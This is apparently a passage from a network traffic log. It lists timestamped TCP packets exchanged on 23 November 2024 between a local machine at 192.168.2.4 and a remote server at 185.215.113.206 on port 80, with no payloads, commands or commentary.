Nov 23, 2024 17:44:33.466283083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.466288090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.466337919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.466444016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.466456890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.466496944 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.466528893 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.467142105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.467195034 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.467201948 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.467215061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.467246056 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.467277050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.467283964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.467345953 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.468060970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.468110085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.468151093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.468162060 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.468194008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.468225002 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.468229055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.468283892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.469218969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.469275951 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.469305992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.469317913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.469352961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.469400883 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.469510078 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.469553947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.470463037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.470510006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.470515013 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.470523119 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.470568895 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.470604897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.470652103 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.471184969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.471237898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.471251011 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.471262932 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.471297979 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.471405983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.471450090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.471877098 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.471918106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.471924067 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.471930981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.471947908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.471960068 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.471991062 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.471991062 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.472651005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.472700119 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.472701073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.472712994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.472724915 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.472738981 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.472770929 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.472771883 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.473598957 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.473618984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.473630905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.473654985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.473654985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.473669052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.473676920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.473711014 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.474492073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.474543095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.474548101 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.474560976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.474591970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.474623919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.474654913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.474699974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.475411892 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.475452900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.475455046 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.475465059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.475492954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.475539923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.475542068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.475580931 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.476387024 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.476434946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.476448059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.476460934 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.476473093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.476512909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.476512909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.477241993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.477288961 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.477289915 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.477305889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.477336884 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.477369070 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.477382898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.477427959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.478277922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.478322029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.478398085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.478410006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.478423119 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.478449106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.478497982 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.479083061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.479095936 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.479106903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.479140043 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.479171038 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.479243040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.479290009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.479986906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.480040073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.657921076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.657972097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.657983065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658066988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658080101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.658128023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.658345938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658395052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658397913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.658406973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658446074 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.658446074 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.658864975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658912897 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.658919096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658932924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658963919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.658977032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.658983946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.659020901 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.659796000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.659847975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.659876108 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.659888029 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.659925938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.659925938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.660420895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.660469055 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.660547972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.660561085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.660602093 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.660695076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.660743952 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.661247969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.661298990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.661312103 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.661323071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.661358118 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.661359072 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.661395073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.661437035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.662178040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.662230968 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.662257910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.662273884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.662312031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.662312031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.662338972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.662380934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.663088083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.663139105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.663141012 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.663170099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.663182020 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.663196087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.663211107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.663242102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.664030075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.664082050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.664091110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.664104939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.664134026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.664166927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.664180040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.664226055 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.664904118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.664954901 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.664964914 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.664969921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.665015936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.665015936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.665055990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.665102005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.665863037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.665880919 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.665894032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.665906906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.665925026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.665925026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.665962934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.665962934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.666759968 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.666811943 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.666832924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.666846037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.666857004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.666879892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.666912079 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.667679071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.667732000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.667753935 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.667766094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.667778015 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.667805910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.667805910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.667839050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.668572903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.668621063 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.668629885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.668646097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.668663025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.668663025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.668695927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.669488907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.669533014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.669542074 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.669543982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.669569016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.669572115 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.669604063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.669604063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.670401096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:33.670455933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.705818892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:33.904000998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.233066082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.233134985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.233135939 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.233175039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.233181953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.233195066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.233221054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.233231068 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.233513117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.233619928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.233632088 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.233666897 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.233700037 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.233756065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.234412909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.234460115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.234486103 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.234499931 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.234638929 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.234689951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.234703064 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.234738111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.234786034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.235142946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.235471010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.235521078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.235538960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.235552073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.235580921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.235591888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.235652924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.235739946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.237056971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.237096071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.237106085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.237108946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.237134933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.237142086 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.237143040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.237179041 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.237663984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.237726927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.237728119 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.237741947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.237793922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.237811089 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.237823963 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.237840891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.238367081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.238415003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.238416910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.238430023 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.238450050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.238461018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.238543987 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.238715887 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.239166975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.239178896 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.239216089 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.239222050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.239377975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.239428043 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.239537001 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.240058899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.240101099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.240106106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.240113974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.240142107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.240205050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.240278959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.240998030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.241010904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.241029978 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.241048098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.241070986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.241142035 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.241179943 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.241945028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.241992950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.241997004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.242011070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.242043018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.242057085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.242105007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.242151976 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.242827892 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.242854118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.242866039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.242876053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.242885113 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.242906094 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.243017912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.243120909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.243731976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.243779898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.243781090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.243794918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.243819952 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.243833065 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.243911028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.243998051 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.244636059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.244667053 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.244678020 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.244679928 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.244703054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.244714022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.244754076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.244956017 CET	49745	80	192.168.2.4	185.215.113.206
